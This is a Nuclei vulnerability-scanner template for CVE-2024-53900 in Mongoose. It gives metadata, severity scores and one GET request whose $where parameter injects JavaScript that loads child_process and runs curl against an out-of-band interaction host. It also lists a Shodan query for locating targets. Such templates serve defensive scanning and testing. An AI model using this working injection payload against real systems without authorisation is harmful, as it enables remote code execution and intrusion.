id: CVE-2024-53900

info:
  name: Mongoose < 8.8.3 - Remote Code Execution
  author: h4mg
  severity: critical
  description: |
    Mongoose before 8.8.3 can improperly use $where in match, leading to search injection.
  impact: |
    Unauthenticated attackers can execute arbitrary code by exploiting NoSQL injection in the $where clause, allowing remote code execution via crafted query parameters.
  remediation: |
    Update Mongoose to version 8.8.3 or later to address the NoSQL injection vulnerability.
  reference:
    - https://github.com/Automattic/mongoose/commit/c9e86bff7eef477da75a29af62a06d41a835a156
    - https://github.com/advisories/GHSA-m7xq-9374-9rvx
    - https://www.youtube.com/watch?v=WX_N1NGPbug
    - https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md
    - https://nvd.nist.gov/vuln/detail/CVE-2024-53900
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-53900
    cwe-id: CWE-89
    epss-score: 0.52176
    epss-percentile: 0.97958
  metadata:
    verified: true
    max-request: 1
    product: mongoose
    framework: nodejs
    shodan-query: "Server: Mongoose"
  tags: cve,cve2024,rce,mongoose,nosql,nodejs,oast,vkev

variables:
  pfield: "author"

http:
  - method: GET
    path:
      - "{{BaseURL}}?view[path]={{pfield}}&view[match][$where]=global.process.mainModule.constructor._load('child_process').exec('curl {{interactsh-url}}')"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(interactsh_protocol, "http")'
          - 'contains(interactsh_request, "User-Agent: curl")'
        condition: and
# digest: 4a0a00473045022100bc062836fc8dd0c0b76a3a3cdc8558f5899d14b9a7b6cc9ab79c0ac87a01078602200b0f0ff803e1a7f1d81a7ae78f2c00a887e5530900a280dd71fd609b47950f62:922c64590222798bb761d5b6d8e72950